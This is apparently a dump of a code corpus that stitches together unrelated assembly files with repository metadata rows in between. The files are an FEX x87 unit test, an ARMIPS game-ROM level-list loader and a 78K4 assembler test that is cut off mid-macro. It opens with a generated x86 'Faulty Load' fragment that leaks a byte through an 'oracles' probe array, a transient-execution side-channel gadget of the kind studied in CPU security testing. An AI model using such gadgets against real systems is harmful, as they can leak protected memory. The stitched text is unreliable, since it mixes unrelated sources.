%rdi mov (%r11), %r13d nop nop nop nop add $30370, %r13 // Faulty Load lea addresses_UC+0x14a1a, %rsi add %rdi, %rdi movb (%rsi), %r13b lea oracles, %r8 and $0xff, %r13 shlq $12, %r13 mov (%r8,%r13,1), %r13 pop %rsi pop %rdi pop %r9 pop %r8 pop %r13 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_UC', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_normal', 'same': False, 'AVXalign': True, 'congruent': 4}} {'OP': 'STOR', 'dst': {'size': 2, 'NT': True, 'type': 'addresses_WT', 'same': False, 'AVXalign': False, 'congruent': 8}} {'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_P', 'same': False, 'AVXalign': False, 'congruent': 7}} {'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_P', 'same': False, 'AVXalign': False, 'congruent': 6}} {'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_WT', 'same': False, 'AVXalign': False, 'congruent': 8}} [Faulty Load] {'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_UC', 'same': True, 'AVXalign': False, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 1}, 'dst': {'same': False, 'type': 'addresses_D_ht', 'congruent': 10}} {'OP': 'STOR', 'dst': {'size': 32, 'NT': True, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 2}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
39.81295
2,999
0.653235
de5df365127db2ea04b1143c1b3ba148bd1542b2
228
asm
Assembly
unittests/ASM/X87/D9_F0.asm
cobalt2727/FEX
13087f8425aeaad28dc81bed46a83e1d72ff0db8
[ "MIT" ]
628
2020-03-06T14:01:32.000Z
2022-03-31T06:35:14.000Z
unittests/ASM/X87/D9_F0.asm
cobalt2727/FEX
13087f8425aeaad28dc81bed46a83e1d72ff0db8
[ "MIT" ]
576
2020-03-06T08:25:12.000Z
2022-03-30T04:05:29.000Z
unittests/ASM/X87/D9_F0.asm
cobalt2727/FEX
13087f8425aeaad28dc81bed46a83e1d72ff0db8
[ "MIT" ]
38
2020-03-07T06:10:00.000Z
2022-03-29T09:27:36.000Z
%ifdef CONFIG { "RegData": { "MM7": ["0x0000000000000000", "0x0000"] }, "MemoryRegions": { "0x100000000": "4096" } } %endif lea rdx, [rel data] fld tword [rdx + 8 * 0] f2xm1 hlt align 8 data: dt 0.0 dq 0
10.363636
44
0.565789
563621c5b4f042ee84a7f56d0a6735749e92fca6
6,035
asm
Assembly
resources/asm/na/levellistloader_cachedfstream.asm
SkyTemple/ppmdu
9731ea103affd66f2e8c1202c9acb2ebfd4c9924
[ "CC0-1.0" ]
37
2015-10-30T21:56:26.000Z
2021-11-30T15:33:26.000Z
resources/asm/na/levellistloader_cachedfstream.asm
SkyTemple/ppmdu
9731ea103affd66f2e8c1202c9acb2ebfd4c9924
[ "CC0-1.0" ]
27
2015-01-06T05:45:55.000Z
2020-01-29T21:40:22.000Z
resources/asm/na/levellistloader_cachedfstream.asm
SkyTemple/ppmdu
9731ea103affd66f2e8c1202c9acb2ebfd4c9924
[ "CC0-1.0" ]
8
2016-02-07T23:31:03.000Z
2020-07-12T08:51:41.000Z
; For use with ARMIPS v0.7d ; By: psycommando@gmail.com ; 2016/09/16 ; For Explorers of Sky North American ONLY! ; ------------------------------------------------------------------------------ ; Copyright © 2016 Guillaume Lavoie-Drapeau <psycommando@gmail.com> ; This work is free. You can redistribute it and/or modify it under the ; terms of the Do What The Fuck You Want To Public License, Version 2, ; as published by Sam Hocevar. See http://www.wtfpl.net/ for more details. ; ------------------------------------------------------------------------------ ; This loads the level_list.bin file one entry at a time when needed using file streams. ; ;.relativeinclude on .nds .arm ;Since we don't need to load it with streams, don't do anything! TryLoadLevelList: bx r14 ;END ;Check if we need to load the level list for this entry! (r0 = level id, r1=nothing) Return in r0, 1 if should load, 0 if not CheckIfShouldGetLvlEntryFromFile: ldr r1,=LevelEntryBuffer_lastlvlid ldr r1,[r1] cmp r0,r1 bne @@NeedToLoad mov r0,0h bx r14 @@NeedToLoad: mov r0,1h bx r14 .pool .align 4 ;END ;LevelListAccessor (r0 = levelid) return in r0 the address of the entry in memory LevelListAccessor: push r1,r4,r14 mov r4,r0 bl CheckIfShouldGetLvlEntryFromFile cmp r0,0h ;If we don't need to load the file, load from cache and return! ldreq r0,=LevelEntryBuffer_lastentry beq @@End ;Else if we need to load the file do it! mov r0,r4 ;Put level id back in r0! bl GetLevelEntryDirectlyFromFile ;The entry's address will be in r0 already @@End: pop r1,r4,r15 .pool .align 4 ;END ;Seek within level list instead of loading it! (r0 = level id!) Returns r0 with a pointer to the entry in the entry buffer. GetLevelEntryDirectlyFromFile: push r1,r2,r4,r5,r14 mov r4,r0 ;free up r0 to pass some parameters ldr r0,=LevelEntryBuffer_lastlvlid str r4,[r0] ;Save the level id to the cache! ;sub r13,r13,48h ;we'll alloc the file stream on the stack bl FStreamAlloc ;Construct file stream ;add r0,r13,0h ldr r0,=LevelList_FileStream ;Set r0 to filestream object bl FStreamCtor ;Open filestream ;add r0,r13,0h ;Set r0 to filestream object ldr r0,=LevelList_FileStream ;Set r0 to filestream object ldr r1,=LevelListFPath ;level_list.bin add r1,5h ;Add 5 bytes to skip the "rom0:" part bl FStreamFOpen ;Seek to table ptr offset ;add r0,r13,0h ;Set r0 to filestream object ldr r0,=LevelList_FileStream ;Set r0 to filestream object mov r1,4h mov r2,0h bl FStreamSeek ;Read Pointer ;add r0,r13,0h ;Set r0 to filestream object ;sub r13,r13,4h ;Alloc 4 bytes on stack ;add r1,r13,0h ;Set allocated stack as dest buffer ldr r0,=LevelList_FileStream ;Set r0 to filestream object ldr r1,=LevelList_PointerBuffer mov r2,4h ;Set nb bytes to read to 4 bl FStreamRead ldr r1,=LevelList_PointerBuffer ldr r1,[r1] ;Load the 4bytes buffer into r1! mov r5,r1 ;copy the value into r5 so we can use it later ;add r13,r13,4h ;Dealloc Alloc 4 bytes on stack ;Seek to pointer ;add r0,r13,0h ;Set r0 to filestream object ldr r0,=LevelList_FileStream ;Set r0 to filestream object ;r1 is already set! mov r2,0h bl FStreamSeek ;Seek to the correct entry! mov r0,12 ;An entry is 12 bytes mla r1,r4,r0,r5 ;set position to seek to: (levelid * 12) + tablebeg ;add r0,r13,0h ;Set r0 ldr r0,=LevelList_FileStream ;Set r0 to filestream object mov r2,0h bl FStreamSeek ;Seeke to the entry ;Read entry to buffer! ;add r0,r13,0h ;Set r0 to filestream object ldr r0,=LevelList_FileStream ;Set r0 to filestream object ldr r1,=LevelEntryBuffer_lastentry ;Set target buffer mov r2,12 ;Set nb bytes to read to 12 bl FStreamRead ;Copy string! ;add r0,r13,0h ;Set r0 to filestream object ldr r0,=LevelList_FileStream ;Set r0 to filestream object ldr r1,=LevelEntryBuffer_lastentry ldr r1,[r1,8h] ;The string ptr is at 8 bytes in the entry mov r2,0h bl FStreamSeek ;Seeke to the string ;add r0,r13,0h ;Set r0 to filestream object ldr r0,=LevelList_FileStream ;Set r0 to filestream object ldr r1,=LevelEntryBuffer_lastname ;Set string buffer as target buffer mov r2,10h ;Set nb of bytes to read to 16! bl FStreamRead ;Read filestream ;Replace string pointer! ldr r0,=LevelEntryBuffer_lastname ;Address of the string buffer ldr r1,=LevelEntryBuffer_lastentry str r0,[r1,8h] ;The string ptr is at 8 bytes in the entry ;Close and Dealloc stream ;add r0,r13,0h ;Set r0 to filestream object ldr r0,=LevelList_FileStream ;Set r0 to filestream object bl FStreamClose bl FStreamDealloc ;Return ldr r0,=LevelEntryBuffer_lastentry ;add r13, r13, 48h ;dealloc filestream pop r1,r2,r4,r5,r15 .pool LevelEntryBuffer_lastlvlid: dcd 0 ;holds the last levelid so we can cache calls to this and not reload the file all the time LevelEntryBuffer_lastentry: dcd 0,0,0 ;an entry is 12 bytes .align 4 LevelEntryBuffer_lastname: dcb 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 ;reserve 16bytes string for writing the last string for the last entry here! LevelList_PointerBuffer: dcd 0 LevelList_FileStream: ;Put the file stream struct here! defs 0x48,0 .align 4 ;END
36.575758
125
0.616736
8660b4eb738562de4a58effae817e66d18a905da
21,364
asm
Assembly
assembler/tests/t_78k4/t_78k4.asm
paulscottrobson/RCA-Cosmac-VIP-III
5d3fcea325aacb7c99269f266bc14e30439cdc2b
[ "MIT" ]
null
null
null
assembler/tests/t_78k4/t_78k4.asm
paulscottrobson/RCA-Cosmac-VIP-III
5d3fcea325aacb7c99269f266bc14e30439cdc2b
[ "MIT" ]
null
null
null
assembler/tests/t_78k4/t_78k4.asm
paulscottrobson/RCA-Cosmac-VIP-III
5d3fcea325aacb7c99269f266bc14e30439cdc2b
[ "MIT" ]
null
null
null
cpu 784026 page 0 assume location:0 saddr1 equ 0feaah saddr1_ equ 0feaeh saddr2 equ 0ff10h saddr2_ equ 0ff14h sfr equ 0ff80h addr16 equ 4711h addr20 equ 6789ah addr24 equ 0deadbfh ; r1,#byte mov a,#12h mov x,#23h mov b,#34h mov c,#45h mov r4,#56h mov r5,#67h mov r6,#78h mov r7,#89h ; r2,#byte mov r8,#9ah mov r9,#0abh mov r10,#0bch mov r11,#0cdh mov d,#0deh mov e,#0efh mov h,#0f0h mov l,#01h ; saddr2,#byte mov saddr2,#55h ; saddr1,#byte mov saddr1,#55h ; sfr,#byte mov pswl,#55h ; !addr16,#byte mov !saddr1,#55h mov addr16,#55h ; !addr24,#byte mov !!saddr1,#55h mov !!addr16,#55h mov addr24,#55h ; r,r1 mov b,a mov b,x mov b,b mov b,c mov b,r4 mov b,r5 mov b,r6 mov b,r7 ; r,r2 mov b,vpl mov b,vph mov b,upl mov b,uph mov b,d mov b,e mov b,h mov b,l ; A,r1 mov a,a mov a,x mov a,b mov a,c mov a,r4 mov a,r5 mov a,r6 mov a,r7 ; A,r2 mov a,vpl mov a,vph mov a,upl mov a,uph mov a,d mov a,e mov a,h mov a,l ; A,saddr2 mov a,saddr2 ; r,saddr2 mov x,saddr2 mov b,saddr2 mov c,saddr2 mov d,saddr2 mov e,saddr2 mov h,saddr2 mov l,saddr2 ; r,saddr1 mov a,saddr1 mov x,saddr1 mov b,saddr1 mov c,saddr1 mov d,saddr1 mov e,saddr1 mov h,saddr1 mov l,saddr1 ; saddr2,A mov saddr2,a ; saddr2,r mov saddr2,x mov saddr2,b mov saddr2,c mov saddr2,d mov saddr2,e mov saddr2,h mov saddr2,l ; saddr1,r mov saddr1,a mov saddr1,x mov saddr1,b mov saddr1,c mov saddr1,d mov saddr1,e mov saddr1,h mov saddr1,l ; A,sfr mov a,pswl ; r,sfr mov x,pswl mov b,pswl mov c,pswl mov d,pswl mov e,pswl mov h,pswl mov l,pswl ; sfr,A mov pswl,a ; sfr,r mov pswl,x mov pswl,b mov pswl,c mov pswl,d mov pswl,e mov pswl,h mov pswl,l ; saddr2,saddr2' mov saddr2,saddr2_ ; saddr2,saddr1 mov saddr2,saddr1 ; saddr1,saddr2 mov saddr1,saddr2 ; saddr1,saddr1' mov saddr1,saddr1_ ; r,!addr16 mov a,addr16 mov x,addr16 mov b,addr16 mov c,addr16 mov d,addr16 mov e,addr16 mov h,addr16 mov l,addr16 ; !addr16,r mov addr16,a mov addr16,x mov addr16,b mov addr16,c mov addr16,d mov addr16,e mov addr16,h mov addr16,l ; r,!addr24 mov a,addr24 mov x,addr24 mov b,addr24 mov c,addr24 mov d,addr24 mov e,addr24 mov h,addr24 mov l,addr24 ; !addr24,r mov addr24,a mov addr24,x mov addr24,b mov addr24,c mov addr24,d mov addr24,e mov addr24,h mov addr24,l ; A,[saddrp2] mov a,[saddr2] ; A,[saddrp1] mov a,[saddr1] ; A,[%saddrg2] mov a,[%saddr2] ; A,[%saddrg1] mov a,[%saddr1] ; A,mem mov a,[tde+] mov a,[whl+] mov a,[tde-] mov a,[whl-] mov a,[tde] mov a,[whl] mov a,[vvp] mov a,[uup] mov a,[tde+55h] mov a,[sp+55h] mov a,[whl+55h] mov a,[uup+55h] mov a,[vvp+55h] mov a,123456h[de] mov a,123456h[a] mov a,123456h[hl] mov a,123456h[b] mov a,[tde+a] mov a,[whl+a] mov a,[tde+b] mov a,[whl+b] mov a,[vvp+de] mov a,[vvp+hl] mov a,[tde+c] mov a,[whl+c] ; [saddrp2],A mov [saddr2],a ; [saddrp1],A mov [saddr1],a ; [%saddrg2],A mov [%saddr2],a ; [%saddrg1],A mov [%saddr1],a ; mem,a mov [tde+],a mov [whl+],a mov [tde-],a mov [whl-],a mov [tde],a mov [whl],a mov [vvp],a mov [uup],a mov [tde+55h],a mov [sp+55h],a mov [whl+55h],a mov [uup+55h],a mov [vvp+55h],a mov 123456h[de],a mov 123456h[a],a mov 123456h[hl],a mov 123456h[b],a mov [tde+a],a mov [whl+a],a mov [tde+b],a mov [whl+b],a mov [vvp+de],a mov [vvp+hl],a mov [tde+c],a mov [whl+c],a ; built-in PSWL = 0fffeh mov pswl,#34h mov pswh,#34h mov pswl,a mov pswh,a mov a,pswl mov a,pswh ; rU16,#byte mov v,#12h mov u,#34h mov t,#56h mov w,#78h ; A,rU16 mov a,v mov a,u mov a,t mov a,w ; rU16,A mov v,a mov u,a mov t,a mov w,a ; rp,#word mov ax,#1234h movw ax,#1234h mov bc,#1234h movw bc,#1234h mov de,#1234h movw de,#1234h mov hl,#1234h movw hl,#1234h mov vp,#1234h movw vp,#1234h mov up,#1234h movw up,#1234h ; saddrp2,#word movw saddr2,#4711h ; saddrp1,#word movw saddr1,#4711h ; sfrp,#word movw psw,#4711h ; !addr16,#word movw addr16,#4711h ; !!addr24,#word movw addr24,#4711h ; rp,rp' irp rpd,ax,bc,rp2,rp3,vp,up,de,hl irp rps,ax,bc,rp2,rp3,vp,up,de,hl mov rpd,rps endm endm ; rp,saddrp2 mov ax,saddr2 movw bc,saddr2 mov de,saddr2 movw hl,saddr2 ; rp,saddrp1 mov ax,saddr1 movw bc,saddr1 mov de,saddr1 movw hl,saddr1 ; saddrp2,rp mov saddr2,ax movw saddr2,bc mov saddr2,de movw saddr2,hl ; saddrp1,rp mov saddr1,ax movw saddr1,bc mov saddr1,de movw saddr1,hl ; rp,sfrp mov ax,psw movw bc,psw mov de,psw movw hl,psw ; sfrp,rp mov psw,ax movw psw,bc mov psw,de movw psw,hl ; saddrp2,saddrp2' movw saddr2,saddr2_ ; saddrp2,saddrp1 movw saddr2,saddr1 ; saddrp1,saddrp2 movw saddr1,saddr2 ; saddrp1,saddrp1' movw saddr1,saddr1_ ; rp,!abs16 mov ax,addr16 movw bc,addr16 mov de,addr16 movw hl,addr16 ; !abs16,rp mov addr16,ax movw addr16,bc mov addr16,de movw addr16,hl ; rp,!!abs24 mov ax,addr24 movw bc,addr24 mov de,addr24 movw hl,addr24 ; !!abs24,rp mov addr24,ax movw addr24,bc mov addr24,de movw addr24,hl ; AX,[saddrp2] mov ax,[saddr2] ; AX,[saddrp1] mov ax,[saddr1] ; AX,[%saddrg2] mov ax,[%saddr2] ; AX,[%saddrg1] mov ax,[%saddr1] ; AX,mem mov ax,[tde+] mov ax,[whl+] mov ax,[tde-] mov ax,[whl-] mov ax,[tde] mov ax,[whl] mov ax,[vvp] mov ax,[uup] mov ax,[tde+55h] mov ax,[sp+55h] mov ax,[whl+55h] mov ax,[uup+55h] mov ax,[vvp+55h] mov ax,123456h[de] mov ax,123456h[a] mov ax,123456h[hl] mov ax,123456h[b] mov ax,[tde+a] mov ax,[whl+a] mov ax,[tde+b] mov ax,[whl+b] mov ax,[vvp+de] mov ax,[vvp+hl] mov ax,[tde+c] mov ax,[whl+c] ; [saddrp2],AX mov [saddr2],ax ; [saddrp1],AX mov [saddr1],ax ; [%saddrg2],AX mov [%saddr2],ax ; [%saddrg1],AX mov [%saddr1],ax ; mem,AX mov [tde+],ax mov [whl+],ax mov [tde-],ax mov [whl-],ax mov [tde],ax mov [whl],ax mov [vvp],ax mov [uup],ax mov [tde+55h],ax mov [sp+55h],ax mov [whl+55h],ax mov [uup+55h],ax mov [vvp+55h],ax mov 123456h[de],ax mov 123456h[a],ax mov 123456h[hl],ax mov 123456h[b],ax mov [tde+a],ax mov [whl+a],ax mov [tde+b],ax mov [whl+b],ax mov [vvp+de],ax mov [vvp+hl],ax mov [tde+c],ax mov [whl+c],ax ; rg,#imm24 mov vvp,#123456h movg rg4,#123456h mov uup,#123456h movg rg5,#123456h mov tde,#123456h movg rg6,#123456h mov whl,#123456h movg rg7,#123456h ; rg,rg' irp dest,vvp,uup,tde,whl irp src,rg4,rg5,rg6,rg7 mov dest,src movg dest,src endm endm ; rg,!!addr24 mov vvp,addr16 mov uup,addr24 mov tde,addr16 mov whl,addr24 ; !!addr24,rg mov addr16,vvp mov addr24,uup mov addr16,tde mov addr24,whl ; rg,saddrg2 mov vvp,saddr2 mov uup,saddr2 mov tde,saddr2 mov whl,saddr2 ; rg,saddrg1 mov vvp,saddr1 mov uup,saddr1 mov tde,saddr1 mov whl,saddr1 ; saddrg2,rg mov saddr2,vvp mov saddr2,uup mov saddr2,tde mov saddr2,whl ; saddrg1,rg mov saddr1,vvp mov saddr1,uup mov saddr1,tde mov saddr1,whl ; WHL,[saddrg2] movg whl,[%saddr2] ; WHL,[saddrg1] movg whl,[%saddr1] ; [saddrg2],WHL movg [%saddr2],whl ; [saddrg1],WHL movg [%saddr1],whl ; WHL,mem mov whl,[tde+] ;mov whl,[whl+] ; forbidden mov whl,[tde-] ;mov whl,[whl-] ; forbidden mov whl,[tde] mov whl,[whl] mov whl,[vvp] mov whl,[uup] mov whl,[tde+55h] mov whl,[sp+55h] mov whl,[whl+55h] mov whl,[uup+55h] mov whl,[vvp+55h] mov whl,123456h[de] mov whl,123456h[a] mov whl,123456h[hl] mov whl,123456h[b] mov whl,[tde+a] mov whl,[whl+a] mov whl,[tde+b] mov whl,[whl+b] mov whl,[vvp+de] mov whl,[vvp+hl] mov whl,[tde+c] mov whl,[whl+c] ; mem,WHL mov [tde+],whl ;mov [whl+],whl ; forbidden mov [tde-],whl ;mov [whl-],whl ; forbidden mov [tde],whl mov [whl],whl mov [vvp],whl mov [uup],whl mov [tde+55h],whl mov [sp+55h],whl mov [whl+55h],whl mov [uup+55h],whl mov [vvp+55h],whl mov 123456h[de],whl mov 123456h[a],whl mov 123456h[hl],whl mov 123456h[b],whl mov [tde+a],whl mov [whl+a],whl mov [tde+b],whl mov [whl+b],whl mov [vvp+de],whl mov [vvp+hl],whl mov [tde+c],whl mov [whl+c],whl ; r,r1/r2 irp dest,x,b,c,r5,r4,r7,r6,vph,vpl,uph,upl,d,e,h,l irp src,x,b,c,r5,r4,r7,r6,vph,vpl,uph,upl,d,e,h,l xch dest,src endm endm ; A,r1 irp reg,a,x,b,c,r5,r4,r7,r6,vph,vpl,uph,upl,d,e,h,l xch a,reg xch reg,a endm ; A,saddr2 xch a,saddr2 xch saddr2,a ; r,saddr2 irp reg,x,b,c,r5,r4,r7,r6,vph,vpl,uph,upl,d,e,h,l xch reg,saddr2 xch saddr2,reg endm ; r,saddr1 irp reg,a,x,b,c,r5,r4,r7,r6,vph,vpl,uph,upl,d,e,h,l xch reg,saddr1 xch saddr1,reg endm ; r,sfr irp reg,a,x,b,c,r5,r4,r7,r6,vph,vpl,uph,upl,d,e,h,l xch reg,sfr xch sfr,reg endm ; saddr2,saddr2' xch saddr2,saddr2_ ; saddr2,saddr1 xch saddr2,saddr1 ; saddr1,saddr2 xch saddr1,saddr2 ; saddr1,saddr1' xch saddr1,saddr1_ ; r,!addr16 irp reg,a,x,b,c,r5,r4,r7,r6,vph,vpl,uph,upl,d,e,h,l xch reg,addr16 xch addr16,reg endm ; r,!!addr24 irp reg,a,x,b,c,r5,r4,r7,r6,vph,vpl,uph,upl,d,e,h,l xch reg,addr24 xch addr24,reg endm ; A,[saddrp2] xch a,[saddr2] xch [saddr2],a ; A,[saddrp1] xch a,[saddr1] xch [saddr1],a ; A,[%saddrg2] xch a,[%saddr2] xch [%saddr2],a ; A,[%saddrg1] xch a,[%saddr1] xch [%saddr1],a ; A,mem xch a,[tde+] xch [tde+],a xch a,[whl+] xch [whl+],a xch a,[tde-] xch [tde-],a xch a,[whl-] xch [whl-],a xch a,[tde] xch [tde],a xch a,[whl] xch [whl],a xch a,[vvp] xch [vvp],a xch a,[uup] xch [uup],a xch a,[tde+55h] xch [tde+55h],a xch a,[sp+55h] xch [sp+55h],a xch a,[whl+55h] xch [whl+55h],a xch a,[uup+55h] xch [uup+55h],a xch a,[vvp+55h] xch [vvp+55h],a xch a,123456h[de] xch 123456h[de],a xch a,123456h[a] xch 123456h[a],a xch a,123456h[hl] xch 123456h[hl],a xch a,123456h[b] xch 123456h[b],a xch a,[tde+a] xch [tde+a],a xch a,[whl+a] xch [whl+a],a xch a,[tde+b] xch [tde+b],a xch a,[whl+b] xch [whl+b],a xch a,[vvp+de] xch [vvp+de],a xch a,[vvp+hl] xch [vvp+hl],a xch a,[tde+c] xch [tde+c],a xch a,[whl+c] xch [whl+c],a ; rp,rp' irp dest,ax,bc,rp2,rp3,vp,up,de,hl irp src,ax,bc,rp2,rp3,vp,up,de,hl xch dest,src xchw dest,src endm endm ; AX,saddrp2 xch ax,saddr2 xchw saddr2,ax ; rp,saddrp2 irp reg,bc,rp2,rp3,vp,up,de,hl xch reg,saddr2 xchw saddr2,reg endm ; rp,saddrp1 irp reg,ax,bc,rp2,rp3,vp,up,de,hl xch reg,saddr1 xchw saddr1,reg endm ; rp,sfr irp reg,ax,bc,rp2,rp3,vp,up,de,hl xch reg,sfr xchw sfr,reg endm ; AX,[saddrp2] xch ax,[saddr2] xchw [saddr2],ax ; AX,[saddrp1] xch ax,[saddr1] xchw [saddr1],ax ; AX,[%saddrg2] xch ax,[%saddr2] xchw [%saddr2],ax ; AX,[%saddrg1] xch ax,[%saddr1] xchw [%saddr1],ax ; AX,!addr16 xch ax,addr16 xch addr16,ax ; AX,!!addr24 xch ax,addr24 xch addr24,ax ; saddrp2,saddrp2' xchw saddr2,saddr2_ ; saddrp2,saddrp1 xchw saddr2,saddr1 ; saddrp1,saddrp2 xchw saddr1,saddr2 ; saddrp1,saddrp1' xchw saddr1,saddr1_ ; AX,mem xch ax,[tde+] xch [tde+],ax xch ax,[whl+] xch [whl+],ax xch ax,[tde-] xch [tde-],ax xch ax,[whl-] xch [whl-],ax xch ax,[tde] xch [tde],ax xch ax,[whl] xch [whl],ax xch ax,[vvp] xch [vvp],ax xch ax,[uup] xch [uup],ax xch ax,[tde+55h] xch [tde+55h],ax xch ax,[sp+55h] xch [sp+55h],ax xch ax,[whl+55h] xch [whl+55h],ax xch ax,[uup+55h] xch [uup+55h],ax xch ax,[vvp+55h] xch [vvp+55h],ax xch ax,123456h[de] xch 123456h[de],ax xch ax,123456h[a] xch 123456h[a],ax xch ax,123456h[hl] xch 123456h[hl],ax xch ax,123456h[b] xch 123456h[b],ax xch ax,[tde+a] xch [tde+a],ax xch ax,[whl+a] xch [whl+a],ax xch ax,[tde+b] xch [tde+b],ax xch ax,[whl+b] xch [whl+b],ax xch ax,[vvp+de] xch [vvp+de],ax xch ax,[vvp+hl] xch [vvp+hl],ax xch ax,[tde+c] xch [tde+c],ax xch ax,[whl+c] xch [whl+c],ax irp instr,add,addc,sub,subc,cmp,and,or,xor ; A,#byte instr a,#45h irp reg,x,b,c,r5,r4,r7,r6,vph,vpl,uph,upl,d,e,h,l instr reg,#45h endm ; saddr2,#byte instr saddr2,#45h ; saddr1,#byte instr saddr1,#45h ; sfr,#byte instr sfr,#45h ; r,r1/r2 irp dest,a,x,b,c,r5,r4,r7,r6,vph,vpl,uph,upl,d,e,h,l irp src,a,x,b,c,r5,r4,r7,r6,vph,vpl,uph,upl,d,e,h,l instr dest,src endm endm ; A,saddr2 instr a,saddr2 ; r,saddr2 irp reg,x,b,c,r5,r4,r7,r6,vph,vpl,uph,upl,d,e,h,l instr reg,saddr2 endm ; A,saddr1 irp reg,a,x,b,c,r5,r4,r7,r6,vph,vpl,uph,upl,d,e,h,l instr reg,saddr1 endm ; saddr2,r irp reg,a,x,b,c,r5,r4,r7,r6,vph,vpl,uph,upl,d,e,h,l instr saddr2,reg endm ; saddr1,r irp reg,a,x,b,c,r5,r4,r7,r6,vph,vpl,uph,upl,d,e,h,l instr saddr1,reg endm ; r,sfr irp reg,a,x,b,c,r5,r4,r7,r6,vph,vpl,uph,upl,d,e,h,l instr reg,sfr endm ; sfr,r irp reg,a,x,b,c,r5,r4,r7,r6,vph,vpl,uph,upl,d,e,h,l instr sfr,reg endm ; saddr2,saddr2' instr saddr2,saddr2_ ; saddr2,saddr1 instr saddr2,saddr1 ; saddr1,saddr2 instr saddr1,saddr2 ; saddr1,saddr1' instr saddr1,saddr1_ ; A,[saddrp2] instr a,[saddr2] ; A,[saddrp1] instr a,[saddr1] ; A,[%saddrg2] instr a,[%saddr2] ; A,[%saddrg1] instr a,[%saddr1] ; [saddrp2],A instr [saddr2],a ; [saddrp1],A instr [saddr1],a ; [%saddrg2],A instr [%saddr2],a ; [%saddrg1],A instr [%saddr1],a ; A,!abs16 instr a,addr16 ; A,!!abs24 instr a,addr24 ; !abs16,A instr addr16,a ; !!abs24,A instr addr24,a ; A,mem instr a,[tde+] instr a,[whl+] instr a,[tde-] instr a,[whl-] instr a,[tde] instr a,[whl] instr a,[vvp] instr a,[uup] instr a,[tde+55h] instr a,[sp+55h] instr a,[whl+55h] instr a,[uup+55h] instr a,[vvp+55h] instr a,123456h[de] instr a,123456h[a] instr a,123456h[hl] instr 